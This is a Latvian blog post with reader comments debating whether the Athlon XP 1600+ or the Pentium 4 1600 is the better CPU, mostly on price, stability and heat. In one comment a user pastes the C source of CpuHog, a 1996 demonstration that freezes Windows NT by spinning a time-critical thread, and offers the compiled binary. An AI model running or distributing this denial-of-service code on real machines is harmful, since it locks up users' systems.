Kas ir labāks Athlon XP 1600+ vai Pentium P4 1600

Vēl viens neliels forums, kur apspriež procesoru tēmu. Cīnīties un aizstāvēt savu patiesību nav vērts. Vienkārši varbūt kādam ir interese palasīt, ko krievu saitā overlockers.ru tauta domā par to, kas ir labāks Athlon XP 1600 vai Pentium P4 1600.
Mani jau vairs nav nepieciešams pārliecināt, jo es sēžu pie sava P4 1.6A monstra, kas ik pa brīdim mirkšķina sarkano aci un apmierināti dūc 😉
Vēl neesmu griezis proci, jo pagaidām neizjūtu vajadzību pēc tā.

P.S.
Tie, kas neaizies uz saitu un neizlasīs diskusiju noteikti palaidīs garām šo norādi itunion.ru kurā ir norādes uz saitiem kuros ir aprakstīts šaha mačs starp AMD un Intel procesoru, kurā vinnēja… 😉

23 komentāri par “Kas ir labāks Athlon XP 1600+ vai Pentium P4 1600

  1. rem

    stulbenji. nu ko var njemties kaa bez maz vai sveetajos karos. kaada galu galaa starpiiba – AMD vai Intel, galvenais lai ir optimaals price/performance, kas shobriid imho ir par labu AMD. Pienaaks jauni laiki, iespeejams buus citaadi..

    Atbildēt
  2. Wiseguy

    Nu toch stulbenju bars. Veel tie zveeriigie argumenti, ka P4 1.6 Ghz uzdziits liidz 2.4Ghz un tagad ir krutaaks pat Athlon 1900+, kuram gigaherci ta ir tikai 1.6 Koroche sviests, muuzhiigie striidi, taapat kaa muusu lokaalajaa smilshkastee striidaas, kas krutaaks LMT vai TELE2.

    Atbildēt
  3. Djuke

    …kaarteejaas jautriibaas… kursh nu tagad no prochiem ir nu tas krutaakais… bet pareizi jau rem saka – jaaskataas price/performance un tad jau var redzeet, kas ir krutaaks… 🙂 … un patiesiibaa jau taas jaudas ar nemaz taa nav vajadziigas… average lietotaajs vispaar nemana… ja nu vieniigi dizaineriem un tiem kas daudz ar grafiku njemas tas vareetu buut diezgan svariigi

    Atbildēt
  4. sxr

    es pirms pirkshanas peetiju sho te lapu un beigaas iegaadaajos P4 1.8. tomeer sisteema Intelam esot stabilaaka nekaa AMD.

    btw, dzeki ieksh M79 centas ieskaidrot preteejo 🙂

    Atbildēt
  5. Scorpion

    Man maajaas jauki griezhas AMD 1800+ procis, izdalot patiikamu siltuma daudzumu (ziemaa istabaa buus siltaak !). Par stabilitaati ABSOLUUTI NESUUDZOS, viss griezhas vienkaarshi super. Video captuureejas (IEEE 1394 vai kaa tur), proceseejas un kompreseejas, CD burneejas, viss notiek kaa jaanotiek.

    Atbildēt
  6. alans

    Da latvieshiem daudziem tas paradums – daargaako, jaudiigaako, jaunaako (tas attiecas ne tikai uz datoriem, bet uz mobilajiem un mashiinaam ar) Ja vien tik finanses visiem atljautu 😉

    Atbildēt
  7. Imis21

    Tur jau tas suns, ka nevar pieraadiit kurš procis ir labāks, un tur kur sākas pierādīšana, tur sākas bezgalīgi argumenti. Gala rezultātā tas ir tikai gaumes jautājums, tāpat kā strīdēties vai Pop mūzika ir labāka par Rok mūziku, zaļa krāsa smukāka par sarkanu u.t.t.

    Atbildēt
  8. Joe

    Par gaumi nestrīdas! Man neviens neieskaidros ka vajag lietot AMD, bet manam drugānam neviens neieskaidros ka vajag Intel. Galu galā Warraft III iet uz abiem un tīklā var itin labi nospēlēties.

    Atbildēt
  9. Djuke

    …nu man paliek ne visai labi, kad paskatos uz intelja prochu cenaam, ja man jaaizveelas no diviem PRAKTISKI liidziigiem prochiem, tad es dodu priekshroku 3x (peec nedeeljas 2x zemaakai :)) ) zemaakai cenai …neesmu tik biezs, lai pirktu intelu 🙁

    Atbildēt
  10. prieks

    Varu dereet, ja coolynx pats seedeetu uz AMD, tad raksts buutu ar diametraali preteeju pieskanju. bet fakts taads, ka INTEL njem biezie (vai taadi, kam ir shaada iluuzija par sevi). AMD ir silts, tas gan … pats zinu kaa ir vasaras siltajaas dienaas. Bet … money money money Bet temperatuura iipashu lomu nespeelee, ja ir parasts mirstiigais juuzeris kaa me un kuram ne praataa nav overklokoshana (nah tas vaidziigs pie patreizeejaam jaudaam?).

    Atbildēt
  11. coolynx

    prieks: skaiti, ka derības esi zaudējis, jo es jau gandrīz gadu kā darbā sēžu pie datora ar AMD procesora…, bet mājās tāpat izvēlējos Intel. Pirms tam esmu sēdējis tikai uz Intel tipa mašīnām. 😉
    Un es neuzsveru, ka kāds no šiem procesoriem ir labāks vai sliktāks, vienkārši mana izvēle krita uz Intel procesoru.

    Atbildēt
  12. Wiseguy

    Vot ko es gribeetu zinaat – kaa var noteikt, kas ir stabilaaks? Mana kaste reizeem pa nedeeljai staav iesleegta, un manas kastes sirsninja ir no AMD, un atcerieties, ka peedeejaa laikaa ir diezgan silts un kaa “zinaams”, tad AMD ir “reaali nestabils” un pret karstumu ljoti juutiigs. Tad luuk, iedodiet man softu, ar kuru buutu nosakaama procha un/vai chipseta stabilitaate. Jaatziist, ka pats kaadreiz biju die hard Intel fans, bet $ un azarts izmeegjinaat ko jaunu, lika iegaadaaties AMD. Godiigi sakot, nekaadas shkjirbas, AMD vai INTEL. Nezkaapeec neviens nebljauj, ka suukaatu CYRIX, IBM, MOTOROLA.

    Atbildēt
  13. delfins

    nu nez,.. AMD labs, ja labas rokas pieliktas pie sisteemas… mans 650-ais durons ieliek P3_933, un staav arii shajaa karstajaa laikaa … visu nedeelju seedeeju tikai uz VC++ [kompileeshana laba lieta (: ] .. nav nekaadu problemu … ~33 graadi , + biku uzdziits … kaa jau teicu, galvenais pareizi salikt sisteemu, CPU nav galvenais !! (: nu aa kas par progu .. man ir taada … iegruzii CPU, lidz tas atrubaas (: ======= re kur ir source, URL , ja vajag EXE, varu pa @ aizsuutiit, 15 kb tikai … vismaz NT uzkaaraas … == //============================================================================ // // CpuHog.c // // Copyright (C) 1996 Mark Russinovich // // How vulnerable is NT? Here is a 5 line program, runnable from a // guest account, that instantly cripples an NT system. Once started, no // other program will run, and there is no way to stop it. No, not even // task manager can get a shot at the CPU after CpuHog is off and running! // //============================================================================ #include
    //——————————————————— // // main // // Set thread to highest priority allowed for programs // that run without administrative privilege and just sit // in a loop. // //——————————————————— int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { MessageBox( NULL, “CpuHog V1.0nnCopyright (C) 1996 Mark Russinovichn” “http://www.ntinternals.com”, “CpuHog”, MB_OK ); SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL ); while(1);
    // never get here return 0; } //end
    =========================================== var ar vc++ 6.0 mierigi nokompileet

    Atbildēt
  14. delfins

    Ups… teksts biku liiki … coolynxam vajadzees piestraadaat, lai komentos buutu arii
    (: [ieteikums]
    PS: tam sourcam vajadzeeja #includeet

    Atbildēt
  15. Ares

    Kaa teica kaac mans pazinja – AMD izveelas pareizos testus lai iekabinaatu intel …. jaa un veel par athlon un duron razhoshanu: esot taa ka ruupniica gluzhi vienkaarshi razho tikai Athon. Taa nu shie tur pamazaam top top un tad pienaak paarbaudes laix – taa nu prociishi ko ir izdevies uzrazhot kvalitatiivi (tb – shiem ir taa paredzeetaa keshatminja) ieguust Lepno Nosaukumu “athlon” , kas ne – tiek lamaati par “duron” :))

    Atbildēt

Ieraksti komentāru

Tava e-pasta adrese netiks publicēta.